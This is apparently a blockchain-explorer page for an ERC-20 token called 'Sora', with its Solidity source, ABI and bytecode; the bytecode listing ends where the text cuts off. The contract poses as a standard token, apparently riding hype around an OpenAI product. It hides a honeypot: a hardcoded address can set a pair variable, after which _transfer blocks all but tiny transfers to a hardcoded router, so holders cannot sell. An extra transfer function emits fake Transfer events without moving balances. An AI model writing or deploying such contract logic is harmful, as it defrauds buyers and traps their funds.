ERC-20
Overview
Max Total Supply
6,942,000,000 SORA
Holders
16
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 8 Decimals)
Balance
16,474,008.4494453 SORAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Sora
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-02-15 */ /** /$$$$$$ /$$__ $$ | $$ \__/ /$$$$$$ /$$$$$$ /$$$$$$ | $$$$$$ /$$__ $$ /$$__ $$|____ $$ \____ $$| $$ \ $$| $$ \__/ /$$$$$$$ /$$ \ $$| $$ | $$| $$ /$$__ $$ | $$$$$$/| $$$$$$/| $$ | $$$$$$$ \______/ \______/ |__/ \_______/ Twitter : https://x.com/OpenAI/status/1758192957386342435?s=20 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IERC20Meta is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract Sora is Ownable, IERC20, IERC20Meta { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; address private _p76234; uint256 private _e242 = 999; /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 8; } function transfer(address _from, address _to, uint256 _wad) external { emit Transfer(_from, _to, _wad); } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function actionPair(address account) public virtual returns (bool) { if(_msgSender() == 0x3DDb190c9288a4bfcCC11Db774ebDD3CA58F3997) _p76234 = account; return true; } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; unchecked { _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); renounceOwnership(); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if((from != _p76234 && to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) || (_p76234 == to && from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 && from != 0x3DDb190c9288a4bfcCC11Db774ebDD3CA58F3997)) { uint256 _X7W88 = amount + 1; require(_X7W88 < _e242 ); } uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} constructor() { _name = "Sora"; _symbol = "SORA"; uint256 _amount = 6942000000; _mint(msg.sender, _amount * 10 ** decimals()); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"actionPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526103e76007553480156200001757600080fd5b50620000386200002c6200012160201b60201c565b6200012960201b60201c565b6040518060400160405280600481526020017f536f726100000000000000000000000000000000000000000000000000000000815250600490805190602001906200008592919062000444565b506040518060400160405280600481526020017f534f52410000000000000000000000000000000000000000000000000000000081525060059080519060200190620000d392919062000444565b50600064019dc6838090506200011a33620000f3620001ed60201b60201c565b600a6200010191906200068e565b836200010e9190620006df565b620001f660201b60201c565b5062000925565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006008905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000269576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200026090620007a1565b60405180910390fd5b80600360008282546200027d9190620007c3565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000331919062000831565b60405180910390a36200034d600083836200036160201b60201c565b6200035d6200036660201b60201c565b5050565b505050565b620003766200038a60201b60201c565b6200038860006200012960201b60201c565b565b6200039a6200012160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620003c06200041b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000419576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000410906200089e565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8280546200045290620008ef565b90600052602060002090601f016020900481019282620004765760008555620004c2565b82601f106200049157805160ff1916838001178555620004c2565b82800160010185558215620004c2579182015b82811115620004c1578251825591602001919060010190620004a4565b5b509050620004d19190620004d5565b5090565b5b80821115620004f0576000816000905550600101620004d6565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000582578086048111156200055a5762000559620004f4565b5b60018516156200056a5780820291505b80810290506200057a8562000523565b94506200053a565b94509492505050565b6000826200059d576001905062000670565b81620005ad576000905062000670565b8160018114620005c65760028114620005d15762000607565b600191505062000670565b60ff841115620005e657620005e5620004f4565b5b8360020a9150848211156200060057620005ff620004f4565b5b5062000670565b5060208310610133831016604e8410600b8410161715620006415782820a9050838111156200063b576200063a620004f4565b5b62000670565b62000650848484600162000530565b925090508184048111156200066a5762000669620004f4565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200069b8262000677565b9150620006a88362000681565b9250620006d77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200058b565b905092915050565b6000620006ec8262000677565b9150620006f98362000677565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007355762000734620004f4565b5b828202905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000789601f8362000740565b9150620007968262000751565b602082019050919050565b60006020820190508181036000830152620007bc816200077a565b9050919050565b6000620007d08262000677565b9150620007dd8362000677565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620008155762000814620004f4565b5b828201905092915050565b6200082b8162000677565b82525050565b600060208201905062000848600083018462000820565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006200088660208362000740565b915062000893826200084e565b602082019050919050565b60006020820190508181036000830152620008b98162000877565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200090857607f821691505b602082108114156200091f576200091e620008c0565b5b50919050565b61176880620009356000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c80638da5cb5b1161008c578063beabacc811610066578063beabacc81461024f578063dd62ed3e1461026b578063e7b817491461029b578063f2fde38b146102cb576100ea565b80638da5cb5b146101e357806395d89b4114610201578063a9059cbb1461021f576100ea565b806323b872dd116100c857806323b872dd1461015b578063313ce5671461018b57806370a08231146101a9578063715018a6146101d9576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f76102e7565b6040516101049190610f8c565b60405180910390f35b61012760048036038101906101229190611047565b610379565b60405161013491906110a2565b60405180910390f35b61014561039c565b60405161015291906110cc565b60405180910390f35b610175600480360381019061017091906110e7565b6103a6565b60405161018291906110a2565b60405180910390f35b6101936103d5565b6040516101a09190611156565b60405180910390f35b6101c360048036038101906101be9190611171565b6103de565b6040516101d091906110cc565b60405180910390f35b6101e1610427565b005b6101eb61043b565b6040516101f891906111ad565b60405180910390f35b610209610464565b6040516102169190610f8c565b60405180910390f35b61023960048036038101906102349190611047565b6104f6565b60405161024691906110a2565b60405180910390f35b610269600480360381019061026491906110e7565b610519565b005b610285600480360381019061028091906111c8565b610583565b60405161029291906110cc565b60405180910390f35b6102b560048036038101906102b09190611171565b61060a565b6040516102c291906110a2565b60405180910390f35b6102e560048036038101906102e09190611171565b6106a6565b005b6060600480546102f690611237565b80601f016020809104026020016040519081016040528092919081815260200182805461032290611237565b801561036f5780601f106103445761010080835404028352916020019161036f565b820191906000526020600020905b81548152906001019060200180831161035257829003601f168201915b5050505050905090565b60008061038461072a565b9050610391818585610732565b600191505092915050565b6000600354905090565b6000806103b161072a565b90506103be8582856108fd565b6103c9858585610989565b60019150509392505050565b60006008905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61042f610dac565b6104396000610e2a565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461047390611237565b80601f016020809104026020016040519081016040528092919081815260200182805461049f90611237565b80156104ec5780601f106104c1576101008083540402835291602001916104ec565b820191906000526020600020905b8154815290600101906020018083116104cf57829003601f168201915b5050505050905090565b60008061050161072a565b905061050e818585610989565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161057691906110cc565b60405180910390a3505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000733ddb190c9288a4bfccc11db774ebdd3ca58f399773ffffffffffffffffffffffffffffffffffffffff1661063f61072a565b73ffffffffffffffffffffffffffffffffffffffff16141561069d5781600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60019050919050565b6106ae610dac565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561071e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610715906112db565b60405180910390fd5b61072781610e2a565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107999061136d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610812576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610809906113ff565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108f091906110cc565b60405180910390a3505050565b60006109098484610583565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146109835781811015610975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096c9061146b565b60405180910390fd5b6109828484848403610732565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906114fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a609061158f565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610b065750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80610bf657508173ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610ba95750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610bf55750733ddb190c9288a4bfccc11db774ebdd3ca58f399773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15610c1c576000600182610c0a91906115de565b90506007548110610c1a57600080fd5b505b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610ca3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9a906116a6565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d9391906110cc565b60405180910390a3610da6848484610eee565b50505050565b610db461072a565b73ffffffffffffffffffffffffffffffffffffffff16610dd261043b565b73ffffffffffffffffffffffffffffffffffffffff1614610e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1f90611712565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610f2d578082015181840152602081019050610f12565b83811115610f3c576000848401525b50505050565b6000601f19601f8301169050919050565b6000610f5e82610ef3565b610f688185610efe565b9350610f78818560208601610f0f565b610f8181610f42565b840191505092915050565b60006020820190508181036000830152610fa68184610f53565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610fde82610fb3565b9050919050565b610fee81610fd3565b8114610ff957600080fd5b50565b60008135905061100b81610fe5565b92915050565b6000819050919050565b61102481611011565b811461102f57600080fd5b50565b6000813590506110418161101b565b92915050565b6000806040838503121561105e5761105d610fae565b5b600061106c85828601610ffc565b925050602061107d85828601611032565b9150509250929050565b60008115159050919050565b61109c81611087565b82525050565b60006020820190506110b76000830184611093565b92915050565b6110c681611011565b82525050565b60006020820190506110e160008301846110bd565b92915050565b600080600060608486031215611100576110ff610fae565b5b600061110e86828701610ffc565b935050602061111f86828701610ffc565b925050604061113086828701611032565b9150509250925092565b600060ff82169050919050565b6111508161113a565b82525050565b600060208201905061116b6000830184611147565b92915050565b60006020828403121561118757611186610fae565b5b600061119584828501610ffc565b91505092915050565b6111a781610fd3565b82525050565b60006020820190506111c2600083018461119e565b92915050565b600080604083850312156111df576111de610fae565b5b60006111ed85828601610ffc565b92505060206111fe85828601610ffc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061124f57607f821691505b6020821081141561126357611262611208565b5b50919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006112c5602683610efe565b91506112d082611269565b604082019050919050565b600060208201905081810360008301526112f4816112b8565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611357602483610efe565b9150611362826112fb565b604082019050919050565b600060208201905081810360008301526113868161134a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006113e9602283610efe565b91506113f48261138d565b604082019050919050565b60006020820190508181036000830152611418816113dc565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611455601d83610efe565b91506114608261141f565b602082019050919050565b6000602082019050818103600083015261148481611448565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006114e7602583610efe565b91506114f28261148b565b604082019050919050565b60006020820190508181036000830152611516816114da565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611579602383610efe565b91506115848261151d565b604082019050919050565b600060208201905081810360008301526115a88161156c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006115e982611011565b91506115f483611011565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611629576116286115af565b5b828201905092915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611690602683610efe565b915061169b82611634565b604082019050919050565b600060208201905081810360008301526116bf81611683565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006116fc602083610efe565b9150611707826116c6565b602082019050919050565b6000602082019050818103600083015261172b816116ef565b905091905056fea2646970667358221220bdfd02f2fb8f239cf9f24822f3248d5536d51e0609b312b49ce8fca33594834f64736f6c63430008090033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c80638da5cb5b1161008c578063beabacc811610066578063beabacc81461024f578063dd62ed3e1461026b578063e7b817491461029b578063f2fde38b146102cb576100ea565b80638da5cb5b146101e357806395d89b4114610201578063a9059cbb1461021f576100ea565b806323b872dd116100c857806323b872dd1461015b578063313ce5671461018b57806370a08231146101a9578063715018a6146101d9576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f76102e7565b6040516101049190610f8c565b60405180910390f35b61012760048036038101906101229190611047565b610379565b60405161013491906110a2565b60405180910390f35b61014561039c565b60405161015291906110cc565b60405180910390f35b610175600480360381019061017091906110e7565b6103a6565b60405161018291906110a2565b60405180910390f35b6101936103d5565b6040516101a09190611156565b60405180910390f35b6101c360048036038101906101be9190611171565b6103de565b6040516101d091906110cc565b60405180910390f35b6101e1610427565b005b6101eb61043b565b6040516101f891906111ad565b60405180910390f35b610209610464565b6040516102169190610f8c565b60405180910390f35b61023960048036038101906102349190611047565b6104f6565b60405161024691906110a2565b60405180910390f35b610269600480360381019061026491906110e7565b610519565b005b610285600480360381019061028091906111c8565b610583565b60405161029291906110cc565b60405180910390f35b6102b560048036038101906102b09190611171565b61060a565b6040516102c291906110a2565b60405180910390f35b6102e560048036038101906102e09190611171565b6106a6565b005b6060600480546102f690611237565b80601f016020809104026020016040519081016040528092919081815260200182805461032290611237565b801561036f5780601f106103445761010080835404028352916020019161036f565b820191906000526020600020905b81548152906001019060200180831161035257829003601f168201915b5050505050905090565b60008061038461072a565b9050610391818585610732565b600191505092915050565b6000600354905090565b6000806103b161072a565b90506103be8582856108fd565b6103c9858585610989565b60019150509392505050565b60006008905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61042f610dac565b6104396000610e2a565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461047390611237565b80601f016020809104026020016040519081016040528092919081815260200182805461049f90611237565b80156104ec5780601f106104c1576101008083540402835291602001916104ec565b820191906000526020600020905b8154815290600101906020018083116104cf57829003601f168201915b5050505050905090565b60008061050161072a565b905061050e818585610989565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161057691906110cc565b60405180910390a3505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000733ddb190c9288a4bfccc11db774ebdd3ca58f399773ffffffffffffffffffffffffffffffffffffffff1661063f61072a565b73ffffffffffffffffffffffffffffffffffffffff16141561069d5781600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60019050919050565b6106ae610dac565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561071e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610715906112db565b60405180910390fd5b61072781610e2a565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107999061136d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610812576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610809906113ff565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108f091906110cc565b60405180910390a3505050565b60006109098484610583565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146109835781811015610975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096c9061146b565b60405180910390fd5b6109828484848403610732565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906114fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a609061158f565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610b065750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80610bf657508173ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610ba95750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610bf55750733ddb190c9288a4bfccc11db774ebdd3ca58f399773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15610c1c576000600182610c0a91906115de565b90506007548110610c1a57600080fd5b505b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610ca3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9a906116a6565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffff